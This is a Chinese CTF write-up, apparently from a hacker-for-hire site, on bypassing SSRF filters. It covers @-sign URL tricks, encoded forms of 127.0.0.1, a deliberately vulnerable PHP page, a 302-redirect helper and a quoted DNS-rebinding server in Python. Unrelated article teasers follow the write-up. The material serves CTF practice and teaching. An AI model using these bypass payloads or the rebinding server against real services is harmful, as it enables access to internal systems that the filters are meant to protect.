SSRF Bypass技巧介绍

访客4年前关于黑客接单1023

之前的文章我们介绍了SSRF漏的基础利用 *** ,以及利用SSRF攻击内网的服务,不过这些攻击都是在服务器没有对地址做任何过滤的情况下,通常情况下后台的代码中都会对我们所要访问的URL做一些过滤,今天我就来介绍一下SSRF中的一些绕过 *** 。

0x01 URL Bypass

我们还是以 CTFHub 中的技能树为例,首先看看URL Bypass。

题目上没有任何提示,我们直接进入环境。

进入环境后页面提示我们URL必须以“http://notfound.ctfhub.com”开头。

这里我们可以利用@来绕过,我们可以进行简单的测试,在浏览器中输入:

www.test.atl.ocean@www.baidu.com

访问后发现最终访问的是“www.baidu.com”

那么我们就可以利用他来绕过限制,我们在?url=后面输入:

http://notfound.ctfhub.com@127.0.0.1/flag

访问后发现页面报未找到,不过我们可以看到访问的确实是127.0.0.1。那么我们可以尝试遍历目录,这里我直接尝试了 flag.txt,和 flag.php 然后就找到了flag:

0x02 数字IP Bypass

这一题同样题目中没有任何提示,我们就直接进入环境。

进入环境后发现同样也没有任何提示,那我们就直接在url参数后输入IP访问试试。

这回有提示了,页面告诉我们不能输入127、172和@,那么这里我们就可以采用不同进制格式的ip来绕过。

比如127.0.0.1这个地址我们可以这样表示:

8进制格式:0177.0.0.1
16进制格式:0x7F.0.0.1
10进制整数格式:2130706433
16进制整数格式:0x7F000001

我们就挨个来尝试:

直接访问发现页面没有反应,应该是通过了过滤,那我们按照上一题的思路直接访问/flag.php

成功拿到flag,那我们同样也试试其他几种写法:

可以看到,这几种写法都可以顺利的拿到flag。

0x03 302跳转Bypass

题目中也是没有任何提示,进入环境后也没有找到能够302跳转的页面。。。

结果最后直接在url参数中输入:127.0.0.1/flag.php

直接就拿到了flag。。。。

额,看来是题目有问题,那我们就在本地环境尝试一下吧。

先准备一个存在SSRF漏洞的页面:

文件名:ssrf.php,代码如下:

<?php
   highlight_file(__FILE__);
   $url=$_GET['url'];
   $curl=curl_init($url);    
   //第二种初始化curl的方式
   //$curl=curl_init(); curl_setopt($curl, CURLOPT_URL, $_GET['url']);
   
   curl_setopt($curl, CURLOPT_HEADER, 0); // 不输出HTTP头
   curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE); // 允许302跳转
   curl_setopt($curl, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);// 限制为HTTPS、HTTP协议
   $responseText=curl_exec($curl);
   var_dump(curl_error($curl) );//如果执行curl过程中出现异常,可打开此开关,以便查看异常内容
   echo $responseText;
   curl_close($curl);
?>

这时我们尝试通过file协议查看本地文件试试:

可以看到,页面报错,file协议被禁用了。

这时候我们再准备一个能够进行302跳转的页面:

文件名:302.php,代码如下:

<?php
$schema=$_GET['s'];
$ip=$_GET['i'];
$port=$_GET['p'];
$query=$_GET['q'];
if(empty($port)){
      header("Location: $schema://$ip/$query");
}
else{
        header("Location: $schema://$ip:$port/$query");
}
?>

这时我们通过302.php页面再次利用file协议访问本地文件试试:

额,结果发现还是不能用file协议,然后又尝试了其他协议,只有http可以,我尝试把限制协议的语句注释,发现还是不行,查询资料好像是环境问题,但是还没有找到解决的办法。

(待问题解决后补充)

0x04 DNS重绑定 Bypass

这道题也是跟上一题一样,有问题,直接访问 url=127.0.0.1/flag.php就可以拿到flag。

这里介绍一下DNS重绑定Bypas的原理:

借用大佬文章中的解释:

https://zhuanlan.zhihu.com/p/73736127

1)SSRF 修复逻辑

1.取URL的Host

2.取Host的IP

3.判断是否是内网IP,是内网IP直接return,不再往下执行

4.请求URL

5.如果有跳转,取出跳转URL,执行第1步

6.正常的业务逻辑里,当判断完成最后会去请求URL,实现业务逻辑。

所以,其中会发起DNS请求的步骤为,第2、4、6步,看来至少要请求3次。因为第6步至少会执行1次DNS请求。

另外,网上有很多不严谨的SSRF修复逻辑不会判断跳转,导致可以被Bypass。

首先,修复逻辑中第2步发起DNS请求,DNS服务器返回一个外网IP,通过验证,执行到第四步。

接着,修复逻辑中第4步会发起DNS请求,DNS服务器返回一个内网IP。此时,SSRF已经产生。

不过,这一切都是在TTL为0的前提下。

2)什么是TTL?

TTL(Time To Live)是DNS缓存的时间。简单理解,假如一个域名的TTL为10s,当我们在这10s内,对该域名进行多次DNS请求,DNS服务器,只会收到一次请求,其他的都是缓存。

所以搭建的DNS服务器,需要设置TTL为0。如果不设置TTL为0,第二次DNS请求返回的是之一次缓存的外网IP,也就不能绕过了。

3)DNS请求过程

1.查询本地DNS服务器(/etc/resolv.conf)

2.如果有缓存,返回缓存的结果,不继续往下执行

3.如果没有缓存,请求远程DNS服务器,并返回结果

4)DNS缓存机制

平时使用的MAC和Windows电脑上,为了加快HTTP访问速度,系统都会进行DNS缓存。但是,在Linux上,默认不会进行DNS缓存(https://stackoverflow.com/questions/11020027/dns-caching-in-linux) ,除非运行nscd等软件。

不过,知道Linux默认不进行DNS缓存即可。这也解释了,我为什么同样的配置,我在MAC上配置不成功,Linux上配置可以。

需要注意的是,IP为8.8.8.8的DNS地址,本地不会进行DNS缓存。

1.Java默认不存在被DNS Rebinding绕过风险(TTL默认为10)

2.PHP默认会被DNS Rebinding绕过

3.Linux默认不会进行DNS缓存

5)搭建DNS服务器

DNS配置如下:

此时,当访问http://dns_rebind.joychou.me域名,先解析该域名的DNS域名为http://ns.joychou.me,http://ns.joychou.me指向47这台服务器。

DNS Server代码如下,放在47服务器上。其功能是将之一次DNS请求返回35.185.163.135,后面所有请求返回127.0.0.1

NS记录表示这个子域名http://test.joychou.me指定由http://ns.joychou.me域名服务器解析,

A记录表示http://ns.joychou.me位置在ip地址http://xxx.xxx.xxx.xxx上

在这个ip地址上搭建DNS服务器,采用python库中的twisted库中的name模块,核心代码如下:

dns.py

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server
record={}
class DynamicResolver(object):
    def _doDynamicResponse(self, query):
        name=query.name.name
        if name not in record or record[name]<1:
            ip="35.185.163.135"
        else:
            ip="127.0.0.1"
        if name not in record:
            record[name]=0
        record[name] +=1
        print name + "===> " + ip
        answer=dns.RRHeader(
            name=name,
            type=dns.A,
            cls=dns.IN,
            ttl=0,
            payload=dns.Record_A(address=b'%s' % ip, ttl=0)
        )
        answers=[answer]
        authority=[]
        additional=[]
        return answers, authority, additional
    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))
def main():
    factory=server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )
    protocol=dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()
if __name__=='__main__':
    raise SystemExit(main())

运行python dns.py,dig查看下返回

? security dig @8.8.8.8 http://dns_rebind.joychou.me; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 40376
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 35.185.163.135
;; Query time: 203 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:43 2017
;; MSG SIZE rcvd: 55
? security dig @8.8.8.8 http://dns_rebind.joychou.me
; <<>> DiG 9.8.3-P1 <<>> @8.8.8.8 dns_rebind.joychou.me
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 14172
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;dns_rebind.joychou.me. IN A
;; ANSWER SECTION:
dns_rebind.joychou.me. 0 IN A 127.0.0.1
;; Query time: 172 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)
;; WHEN: Fri Sep 8 14:52:45 2017
;; MSG SIZE rcvd: 55

可以看到之一次返回35.185.163.135,第二次返回127.0.0.1。 dig加上@8.8.8.8是指定本地DNS地址为8.8.8.8,因为该地址不会有缓存。每dig一次,DNS Server都会收到一次请求。

curl 'http://test.joychou.org:8080/checkssrf?url=http://dns_rebind.joychou.me'

返回http://test.joychou.org页面内容It works.

在测试时,我把该服务器的80端口已经限制为只有本地能访问,所以,我们的POC已经绕过内网的限制。

以上引用文章中内容。

个人简单理解原理就是在过滤IP地址时会先进行一次DNS解析,来确定是否为内网IP,此时让我们的DNS服务器解析为外网地址通过检测,然后当真正发起请求时,因为ttl值设置为了0,所以服务器会再次向我们的DNS服务器请求解析IP,这时再返回内网的IP地址,这样就绕过了地址的过滤。

因为实验需要有自己的域名,并且还需要搭建DNS服务器,条件比较苛刻,在实际环境中的应用也比较有限,在这里就没办法进行实验了,就先简单了解一下原理吧。

相关文章

百度统计发布浏览器报告:奇虎360攀升 腾讯TT走低

 近日,由百度统计总流量研究所公布的中国2012年Q1电脑浏览器市场占有率数据分析报告显示信息,中国电脑浏览器销售市场位居三甲的分别是IE6.0、360公司、IE7.0,三个版本号的电脑浏览器总流...

要女朋友有什么用处(有女朋友有什么好处)

1她让我可以走在北京地铁换乘站的人群里,不因为渺小和平凡而心慌。2让你四处躁动的心、鸡鸡和不知道怎么花的钱有个温暖着落。3加速你的成长,锻炼你的说话,磨练你的耐心,挑战你的脾气,突破你的底线,冲击你的...

新版edge浏览器怎么批注pdf,新版edge浏览器批注pdf教程

edge浏览器是许多 win10客户都是在应用的电脑浏览器,可是许多 客户针对新版本的edge浏览器并不是很了解,许多 小伙伴们要想应用电脑浏览器去对文本文档或是pdf类文档开展改动应用,不清楚怎样实...

麻辣烫的配料(重庆麻辣烫哪里学正宗)

麻辣烫的配料(重庆麻辣烫哪里学正宗) 今天小编给大家分享两种麻辣烫手写配方和工艺,开店20年退休老板免费分享出来的,需要的拿走,开店家用都可以。 一、四川百思特网麻辣烫配方 制作工艺 1、...

成为一名黑客需要什么基础(成为一名黑客的基础)

成为一名黑客需要什么基础(成为一名黑客的基础)

本文目录一览: 1、黑客需要学什么? 2、成为黑客所需基础有哪些? 3、黑客入门基础知识有哪些? 4、如何自学成为一名黑客? 5、成为一名黑客要哪些知识啊? 黑客需要学什么? 一、熟...

加盟鼎盛客火锅有哪些要求?这些你都做得到

加盟鼎盛客火锅有哪些要求?这些你都做得到

指引火锅流行新趋势,明确市场需求,打造特色设计理念,独特酱料配方赚疯了。这都是当今火锅市场能如此获得广大消费者欢迎的原因。另外广大创业者怎么才能找到适合自己的火锅项目信息,选择好的火锅项目是实现你轻松...